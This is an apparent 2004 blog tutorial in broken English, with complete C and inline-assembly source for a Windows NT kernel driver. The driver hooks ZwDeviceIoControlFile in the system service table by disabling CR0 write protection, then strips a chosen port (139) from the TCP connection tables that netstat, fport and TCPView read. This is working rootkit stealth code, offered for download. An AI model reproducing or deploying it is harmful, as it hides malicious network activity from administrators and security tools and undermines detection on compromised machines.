Hook System Service to Hide Port

作者: JIURL

主页: http://jiurl.yeah.net

日期: 2004-03-30

Sometimes write code, debug code is really a interesting work, such as this time, with scamper about，with grinning xixi，with even not enough, the program has been done. netstat or other like tools, such as fport, or sysinternals 's Tcpview， they all call the APIs in Iphlpapi.dll to list the ports. nevertheless Iphlpapi.dll's APIs at last call ZwDeviceIoControlFile ，to send IOCTL_TCP_QUERY_INFORMATION_EX to DeviceObject Device\Tcp to get various information. so we only need to Hook corresponding System Service ，then do some work on the result, manage the target port's information. but the main trouble is, IOCTL_TCP_QUERY_INFORMATION_EX and port's all kinds of structure definiens , parameters's meanings are all Undocumented. Undocumented?? ring3 debug, I'm skilled ah. ring0 debug，I'm skilled ah. Windows Drivers，I'm skilled ah. Windows System，I'm skilled ah. I worry what ah I. Undocumented?? Yes，it's what i like. by ring3 debug，analyse Iphlpapi.dll how to use IOCTL_TCP_QUERY_INFORMATION_EX 's various parameters, and informations in msdn, so easily find out the structures what we need. using the awx written by me, New a vc project, code the Hook part. The way to solve the Hook runs under various Windows Versions in this sample, appear many many places, I don't konw who find this way first, I first see this way in book <<Undocumented Windows NT>>'s sources. now,it's the source code, it's easy, then I needn't say more. #if 0 //================================================================ Copyright (c) JIURL, All Rights Reserved ======================================================================== /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ Module Name: Jiurl_tcpioctl.h About: - This Driver Project is created by a AppWizard written by me. [ HomePage ] http://jiurl.yeah.net ~~~~~~~~~~~~~~~~~~~~~ [ Email ] jiurl@mail.china.com ~~~~~~~~~~~~~~~~~~~~ [ Forum ] http://jiurl.cosoft.org.cn/forum/index.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Comments: The contents of this file are all undocumented, are the important things to hide port. /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ #endif // jiurl // IPSNMPInfo structure is defined from RFC 2011 // jiurl // so I defined TCPSNMPInfo structure from RFC 2022 ，as IPSNMPInfo. // jiurl // some more analysis to get some extended definiens. typedef struct TCPSNMPInfo { ULONG tcpsi_RtoAlgorithm; ULONG tcpsi_RtoMin; ULONG tcpsi_RtoMax; ULONG tcpsi_MaxConn; ULONG tcpsi_ActiveOpens; ULONG tcpsi_PassiveOpens; ULONG tcpsi_AttemptFails; ULONG tcpsi_EstabResets; ULONG tcpsi_CurrEstab; ULONG tcpsi_InSegs; ULONG tcpsi_OutSegs; ULONG tcpsi_RetransSegs; ULONG tcpsi_unknown1; ULONG tcpsi_unknown2; ULONG tcpsi_numconn; } TCPSNMPInfo; #define tcpRtoAlgorithm_other 1 // none of the following #define tcpRtoAlgorithm_constant 2 // a constant rto #define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B #define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm #define TCP_MIB_STATS_ID 1 #define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101 #define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102 typedef struct TCPAddrEntry { ULONG tae_ConnState; ULONG tae_ConnLocalAddress; ULONG tae_ConnLocalPort; ULONG tae_ConnRemAddress; ULONG tae_ConnRemPort; } TCPAddrEntry; #define tcpConnState_closed 1 #define tcpConnState_listen 2 #define tcpConnState_synSent 3 #define tcpConnState_synReceived 4 #define tcpConnState_established 5 #define tcpConnState_finWait1 6 #define tcpConnState_finWait2 7 #define tcpConnState_closeWait 8 #define tcpConnState_lastAck 9 #define tcpConnState_closing 10 #define tcpConnState_timeWait 11 #define tcpConnState_deleteTCB 12 typedef struct TCPAddrExEntry { ULONG tae_ConnState; ULONG tae_ConnLocalAddress; ULONG tae_ConnLocalPort; ULONG tae_ConnRemAddress; ULONG tae_ConnRemPort; ULONG pid; } TCPAddrExEntry; #if 0 //================================================================ Copyright (c) JIURL, All Rights Reserved ======================================================================== /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ Module Name: JiurlPortHide.h About: - This Driver Project is created by a AppWizard written by me. [ HomePage ] http://jiurl.yeah.net ~~~~~~~~~~~~~~~~~~~~~ [ Email ] jiurl@mail.china.com ~~~~~~~~~~~~~~~~~~~~ [ Forum ] http://jiurl.cosoft.org.cn/forum/index.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ #endif #define PORTHIDE 139 #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ); typedef NTSTATUS (*ZWDEVICEIOCONTROLFILE)( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ); ZWDEVICEIOCONTROLFILE OldZwDeviceIoControlFile; void DriverUnload(IN PDRIVER_OBJECT DriverObject); NTSTATUS DriverDispatch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp); NTSTATUS NewZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ); // jiurl // from addrconv.cpp #define ntohs(s) \ ( ( ((s) >> 8) & 0x00FF ) | \ ( ((s) << 8) & 0xFF00 ) ) // jiurl // from tcpioctl.h tdiinfo.h tdistat.h #define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003 //* Structure of an entity ID. typedef struct TDIEntityID { ULONG tei_entity; ULONG tei_instance; } TDIEntityID; //* Structure of an object ID. typedef struct TDIObjectID { TDIEntityID toi_entity; ULONG toi_class; ULONG toi_type; ULONG toi_id; } TDIObjectID; #define CONTEXT_SIZE 16 // // QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer // in the DeviceIoControl request. This structure is passed as the // InputBuffer. // struct tcp_request_query_information_ex { TDIObjectID ID; // object ID to query. ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed // for the first request. }; typedef struct tcp_request_query_information_ex TCP_REQUEST_QUERY_INFORMATION_EX, *PTCP_REQUEST_QUERY_INFORMATION_EX; #define CO_TL_ENTITY 0x400 #define INFO_CLASS_PROTOCOL 0x200 #define INFO_TYPE_PROVIDER 0x100 #if 0 //================================================================ Copyright (c) JIURL, All Rights Reserved ======================================================================== /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ Module Name: JiurlPortHide.cpp About: - This Driver Project is created by a AppWizard written by me. [ HomePage ] http://jiurl.yeah.net ~~~~~~~~~~~~~~~~~~~~~ [ Email ] jiurl@mail.china.com ~~~~~~~~~~~~~~~~~~~~ [ Forum ] http://jiurl.cosoft.org.cn/forum/index.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ #endif #ifdef __cplusplus extern "C" { #endif #include <ntddk.h> #include "JiurlPortHide.h" #include "Jiurl_tcpioctl.h" #ifdef __cplusplus } #endif NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { DbgPrint("JiurlPortHide: Hello,This is DriverEntry!\n"); DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDispatch; DriverObject->DriverUnload = DriverUnload; // save old system call locations OldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]); _asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back } (KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)NewZwDeviceIoControlFile; _asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt } return STATUS_SUCCESS; } NTSTATUS DriverDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest (Irp,IO_NO_INCREMENT); return Irp->IoStatus.Status; } void DriverUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("JiurlPortHide: Bye,This is DriverUnload!\n"); _asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back } (KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)OldZwDeviceIoControlFile; _asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt } } NTSTATUS NewZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ) { NTSTATUS rc; rc = ((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile)) ( FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength ); if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX) { return(rc); } TCP_REQUEST_QUERY_INFORMATION_EX req; TCPAddrEntry* TcpTable; TCPAddrExEntry* TcpExTable; ULONG numconn; LONG i; DbgPrint("JiurlPortHide: IOCTL_TCP_QUERY_INFORMATION_EX\n"); if( NT_SUCCESS( rc ) ) { req.ID.toi_entity.tei_entity = CO_TL_ENTITY; req.ID.toi_entity.tei_instance = 0; req.ID.toi_class = INFO_CLASS_PROTOCOL; req.ID.toi_type = INFO_TYPE_PROVIDER; req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID; if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry); TcpTable = (TCPAddrEntry*)OutputBuffer; for( i=0; i<numconn; i++ ) { if( ntohs(TcpTable[i].tae_ConnLocalPort) == PORTHIDE ) { DbgPrint("JiurlPortHide: HidePort %d\n", ntohs(TcpTable[i].tae_ConnLocalPort)); memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) ); numconn--; i--; } } IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry); return(rc); } req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID; if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry); TcpExTable = (TCPAddrExEntry*)OutputBuffer; for( i=0; i<numconn; i++ ) { if( ntohs(TcpExTable[i].tae_ConnLocalPort) == PORTHIDE ) { DbgPrint("JiurlPortHide: HidePort %d\n",ntohs(TcpTable[i].tae_ConnLocalPort)); memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) ); numconn--; i--; } } IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry); return(rc); } } return(rc); } Download Source Code & Sample END How about the My English, ah hahahahaha. welcome communion, welcome make friends, welcome visit HomePage http://jiurl.yeah.net http://jiurl.nease.net Forum http://jiurl.cosoft.org.cn/forum